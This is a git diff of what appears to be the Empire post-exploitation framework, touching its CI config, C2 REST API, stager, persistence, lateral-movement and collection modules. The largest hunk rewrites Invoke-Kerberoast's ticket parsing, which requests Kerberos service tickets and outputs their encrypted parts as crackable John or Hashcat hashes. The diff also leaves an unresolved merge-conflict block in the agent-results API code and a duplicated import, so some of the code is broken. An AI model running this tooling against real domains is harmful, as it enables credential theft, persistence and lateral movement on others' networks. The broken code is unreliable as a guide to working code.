diff --git a/.circleci/config.yml b/.circleci/config.yml index a3a8155..0384be1 100644 --- a/.circleci/config.yml +++ b/.circleci/config.yml @@ -2,9 +2,7 @@ version: 2 jobs: build: docker: - - image: circleci/python:2.7.13 - environment: - - STAGING_KEY: "RANDOM" + - image: circleci/python:2.7 steps: - checkout - run: diff --git a/data/module_source/credentials/Invoke-Kerberoast.ps1 b/data/module_source/credentials/Invoke-Kerberoast.ps1 index 149fe51..cd9b831 100644 --- a/data/module_source/credentials/Invoke-Kerberoast.ps1 +++ b/data/module_source/credentials/Invoke-Kerberoast.ps1 @@ -454,43 +454,73 @@ http://social.technet.microsoft.com/Forums/scriptcenter/en-US/0c5b3f83-e528-4d49 function Get-DomainSPNTicket { <# .SYNOPSIS + Request the kerberos ticket for a specified service principal name (SPN). + Author: machosec, Will Schroeder (@harmj0y) License: BSD 3-Clause Required Dependencies: Invoke-UserImpersonation, Invoke-RevertToSelf + .DESCRIPTION + This function will either take one/more SPN strings, or one/more PowerView.User objects (the output from Get-DomainUser) and will request a kerberos ticket for the given SPN using System.IdentityModel.Tokens.KerberosRequestorSecurityToken. The encrypted portion of the ticket is then extracted and output in either crackable John or Hashcat format (deafult of John). + .PARAMETER SPN + Specifies the service principal name to request the ticket for. + .PARAMETER User + Specifies a PowerView.User object (result of Get-DomainUser) to request the ticket for. + .PARAMETER OutputFormat + Either 'John' for John the Ripper style hash formatting, or 'Hashcat' for Hashcat format. Defaults to 'John'. + .PARAMETER Credential + A [Management.Automation.PSCredential] object of alternate credentials for connection to the remote domain using Invoke-UserImpersonation. + .EXAMPLE + Get-DomainSPNTicket -SPN "HTTP/web.testlab.local" + Request a kerberos service ticket for the specified SPN. + .EXAMPLE + "HTTP/web1.testlab.local","HTTP/web2.testlab.local" | Get-DomainSPNTicket + Request kerberos service tickets for all SPNs passed on the pipeline. + .EXAMPLE + Get-DomainUser -SPN | Get-DomainSPNTicket -OutputFormat Hashcat + Request kerberos service tickets for all users with non-null SPNs and output in Hashcat format. + .INPUTS + String + Accepts one or more SPN strings on the pipeline with the RawSPN parameter set. + .INPUTS + PowerView.User + Accepts one or more PowerView.User objects on the pipeline with the User parameter set. + .OUTPUTS + PowerView.SPNTicket + Outputs a custom object containing the SamAccountName, ServicePrincipalName, and encrypted ticket section. #> @@ -561,39 +591,55 @@ Outputs a custom object containing the SamAccountName, ServicePrincipalName, and $TicketByteStream = $Ticket.GetRequest() } if ($TicketByteStream) { - $TicketHexStream = [System.BitConverter]::ToString($TicketByteStream) -replace '-' - $encType = [Convert]::ToInt32(($TicketHexStream -replace ".*A0030201")[0..1] -join "", 16) - [System.Collections.ArrayList]$Parts = ($TicketHexStream -replace '^(.*?)04820...(.*)','$2') -Split 'A48201' - $Parts.RemoveAt($Parts.Count - 1) - $Hash = $Parts -join 'A48201' - $Hash = $Hash.Insert(32, '$') - $Out = New-Object PSObject + + $TicketHexStream = [System.BitConverter]::ToString($TicketByteStream) -replace '-' + + # TicketHexStream == GSS-API Frame (see https://tools.ietf.org/html/rfc4121#section-4.1) + # No easy way to parse ASN1, so we'll try some janky regex to parse the embedded KRB_AP_REQ.Ticket object + if($TicketHexStream -match 'a382....3082....A0030201(?..)A1.{1,4}.......A282(?....)........(?.+)') { + $Etype = [Convert]::ToByte( $Matches.EtypeLen, 16 ) + $CipherTextLen = [Convert]::ToUInt32($Matches.CipherTextLen, 16)-4 + $CipherText = $Matches.DataToEnd.Substring(0,$CipherTextLen*2) + + # Make sure the next field matches the beginning of the KRB_AP_REQ.Authenticator object + if($Matches.DataToEnd.Substring($CipherTextLen*2, 4) -ne 'A482') { + Write-Warning 'Error parsing ciphertext for the SPN $($Ticket.ServicePrincipalName). Use the TicketByteHexStream field and extract the hash offline with Get-KerberoastHashFromAPReq"' + $Hash = $null + $Out | Add-Member Noteproperty 'TicketByteHexStream' ([Bitconverter]::ToString($TicketByteStream).Replace('-','')) + } else { + $Hash = "$($CipherText.Substring(0,32))`$$($CipherText.Substring(32))" + $Out | Add-Member Noteproperty 'TicketByteHexStream' $null + } + } else { + Write-Warning "Unable to parse ticket structure for the SPN $($Ticket.ServicePrincipalName). Use the TicketByteHexStream field and extract the hash offline with Get-KerberoastHashFromAPReq" + $Hash = $null + $Out | Add-Member Noteproperty 'TicketByteHexStream' ([Bitconverter]::ToString($TicketByteStream).Replace('-','')) + } + + if($Hash) { + if ($OutputFormat -match 'John') { + $HashFormat = "`$krb5tgs`$$($Ticket.ServicePrincipalName):$Hash" + } + else { + if ($DistinguishedName -ne 'UNKNOWN') { + $UserDomain = $DistinguishedName.SubString($DistinguishedName.IndexOf('DC=')) -replace 'DC=','' -replace ',','.' + } + else { + $UserDomain = 'UNKNOWN' + } + + # hashcat output format + $HashFormat = "`$krb5tgs`$$($Etype)`$*$SamAccountName`$$UserDomain`$$($Ticket.ServicePrincipalName)*`$$Hash" + } + $Out | Add-Member Noteproperty 'Hash' $HashFormat + } + $Out | Add-Member Noteproperty 'SamAccountName' $SamAccountName $Out | Add-Member Noteproperty 'DistinguishedName' $DistinguishedName $Out | Add-Member Noteproperty 'ServicePrincipalName' $Ticket.ServicePrincipalName - - if ($OutputFormat -match 'John') { - $HashFormat = "`$krb5tgs`$$($Ticket.ServicePrincipalName):$Hash" - } - else { - if ($DistinguishedName -ne 'UNKNOWN') { - $UserDomain = $DistinguishedName.SubString($DistinguishedName.IndexOf('DC=')) -replace 'DC=','' -replace ',','.' - } - else { - $UserDomain = 'UNKNOWN' - } - # hashcat output format - $HashFormat = "`$krb5tgs`$$encType`$*$SamAccountName`$$UserDomain`$$($Ticket.ServicePrincipalName)*`$$Hash" - - } - $Out | Add-Member Noteproperty 'Hash' $HashFormat $Out.PSObject.TypeNames.Insert(0, 'PowerView.SPNTicket') - #Prints the PS Object - #Write-Output $Out - - #Prints just the hashes - Write-Output $HashFormat + Write-Output $Out } } } @@ -604,6 +650,7 @@ Outputs a custom object containing the SamAccountName, ServicePrincipalName, and } } } + function Get-DomainUser { <# .SYNOPSIS diff --git a/empire b/empire index 8d9c84c..3deb0a5 100755 --- a/empire +++ b/empire @@ -750,7 +750,7 @@ def start_restful_api(empireMenu, suppress=False, username=None, password=None, for activeAgent in activeAgentsRaw: [ID, session_id, listener, name, language, language_version, delay, jitter, external_ip, internal_ip, username, high_integrity, process_name, process_id, hostname, os_details, session_key, nonce, checkin_time, lastseen_time, parent, children, servers, profile, functions, kill_date, working_hours, lost_limit, taskings, results] = activeAgent - agents.append({"ID":ID, "session_id":session_id, "listener":listener, "name":name, "language":language, "language_version":language_version, "delay":delay, "jitter":jitter, "external_ip":external_ip, "internal_ip":internal_ip, "username":username, "high_integrity":high_integrity, "process_name":process_name, "process_id":process_id, "hostname":hostname, "os_details":os_details, "session_key":session_key, "nonce":nonce, "checkin_time":checkin_time, "lastseen_time":lastseen_time, "parent":parent, "children":children, "servers":servers, "profile":profile,"functions":functions, "kill_date":kill_date, "working_hours":working_hours, "lost_limit":lost_limit, "taskings":taskings, "results":results}) + agents.append({"ID":ID, "session_id":session_id, "listener":listener, "name":name, "language":language, "language_version":language_version, "delay":delay, "jitter":jitter, "external_ip":external_ip, "internal_ip":internal_ip, "username":username, "high_integrity":high_integrity, "process_name":process_name, "process_id":process_id, "hostname":hostname, "os_details":os_details, "session_key":session_key.decode('latin-1').encode("utf-8"), "nonce":nonce, "checkin_time":checkin_time, "lastseen_time":lastseen_time, "parent":parent, "children":children, "servers":servers, "profile":profile,"functions":functions, "kill_date":kill_date, "working_hours":working_hours, "lost_limit":lost_limit, "taskings":taskings, "results":results}) return jsonify({'agents' : agents}) @@ -864,10 +864,32 @@ def start_restful_api(empireMenu, suppress=False, username=None, password=None, [agentName, agentSessionID] = agentNameID agentResults = execute_db_query(conn, "SELECT results FROM agents WHERE session_id=?", [agentSessionID]) + taskIDs = execute_db_query(conn, "SELECT id from taskings where agent=?", [agentSessionID]) + if agentResults[0][0] and len(agentResults[0][0]) > 0: + try: + agentResults = ast.literal_eval(agentResults[0][0]) + except ValueError: + break + + results = [] + if len(agentResults) > 0: + job_outputs = [x.strip() for x in agentResults if not x.startswith('Job')] + + for taskID, result in zip(taskIDs, job_outputs): + if not (len(result.split('\n')) == 1 and result.endswith('completed!')): + results.append({'taskID': taskID[0], 'results': result}) + else: + results.append({'taskID': taskID[0], 'results': ''}) + + agentTaskResults.append({"AgentName": agentSessionID, "AgentResults": results}) + +<<<<<<< HEAD +======= if agentResults and agentResults[0] and agentResults[0] != '': agentTaskResults.append({"AgentName":agentSessionID, "AgentResults":agentResults[0]}) +>>>>>>> dev return jsonify({'results': agentTaskResults}) diff --git a/lib/common/stagers.py b/lib/common/stagers.py index 5f4b236..6fc5d2e 100644 --- a/lib/common/stagers.py +++ b/lib/common/stagers.py @@ -17,6 +17,7 @@ The Stagers() class in instantiated in ./empire.py by the main menu and includes import fnmatch import imp import helpers +import errno import os import errno import macholib.MachO @@ -452,8 +453,8 @@ class Stagers: raise else: pass - - file = open(self.mainMenu.installPath+'data/misc/classes/com/installer/apple/Run.java','w') + + file = open(jarpath+'Run.java','w') file.write(javacode) file.close() currdir = os.getcwd() diff --git a/lib/listeners/http.py b/lib/listeners/http.py index 481c8e4..e7e6252 100644 --- a/lib/listeners/http.py +++ b/lib/listeners/http.py @@ -6,6 +6,7 @@ import os import ssl import time import copy +import sys from pydispatch import dispatcher from flask import Flask, request, make_response, send_from_directory # Empire imports diff --git a/lib/modules/powershell/collection/get_sql_column_sample_data.py b/lib/modules/powershell/collection/get_sql_column_sample_data.py index 3f32243..891381e 100644 --- a/lib/modules/powershell/collection/get_sql_column_sample_data.py +++ b/lib/modules/powershell/collection/get_sql_column_sample_data.py @@ -74,7 +74,8 @@ class Module: instance = self.options['Instance']['Value'] no_defaults = self.options['NoDefaults']['Value'] check_all = self.options['CheckAll']['Value'] - + scriptEnd = "" + # read in the common module source code moduleSource = self.mainMenu.installPath + "data/module_source/collection/Get-SQLColumnSampleData.ps1" script = "" diff --git a/lib/modules/powershell/lateral_movement/invoke_sshcommand.py b/lib/modules/powershell/lateral_movement/invoke_sshcommand.py index 0464e0b..1887bc2 100644 --- a/lib/modules/powershell/lateral_movement/invoke_sshcommand.py +++ b/lib/modules/powershell/lateral_movement/invoke_sshcommand.py @@ -75,7 +75,7 @@ class Module: def generate(self, obfuscate=False, obfuscationCommand=""): - moduleSource = self.mainMenu.stagers.installPath + "/data/module_source/lateral_movement/Invoke-SSHCommand.ps1" + moduleSource = self.mainMenu.installPath + "/data/module_source/lateral_movement/Invoke-SSHCommand.ps1" if obfuscate: helpers.obfuscate_module(moduleSource=moduleSource, obfuscationCommand=obfuscationCommand) moduleSource = moduleSource.replace("module_source", "obfuscated_module_source") diff --git a/lib/modules/powershell/persistence/userland/registry.py b/lib/modules/powershell/persistence/userland/registry.py index 57042d2..c8362b1 100644 --- a/lib/modules/powershell/persistence/userland/registry.py +++ b/lib/modules/powershell/persistence/userland/registry.py @@ -41,7 +41,7 @@ class Module: }, 'Listener' : { 'Description' : 'Listener to use.', - 'Required' : False, + 'Required' : True, 'Value' : '' }, 'KeyName' : { diff --git a/lib/modules/python/collection/osx/native_screenshot.py b/lib/modules/python/collection/osx/native_screenshot.py index ae83642..f1ceda6 100644 --- a/lib/modules/python/collection/osx/native_screenshot.py +++ b/lib/modules/python/collection/osx/native_screenshot.py @@ -29,7 +29,7 @@ class Module: 'NeedsAdmin': False, # True if the method doesn't touch disk/is reasonably opsec safe - 'OpsecSafe': True, + 'OpsecSafe': False, # the module language 'Language' : 'python', diff --git a/setup/setup_database.py b/setup/setup_database.py index e6eeb30..e8c75c4 100755 --- a/setup/setup_database.py +++ b/setup/setup_database.py @@ -59,7 +59,7 @@ OBFUSCATE_COMMAND = r'Token\All\1' # ################################################### -conn = sqlite3.connect('../data/empire.db') +conn = sqlite3.connect('%s/data/empire.db'%INSTALL_PATH) c = conn.cursor()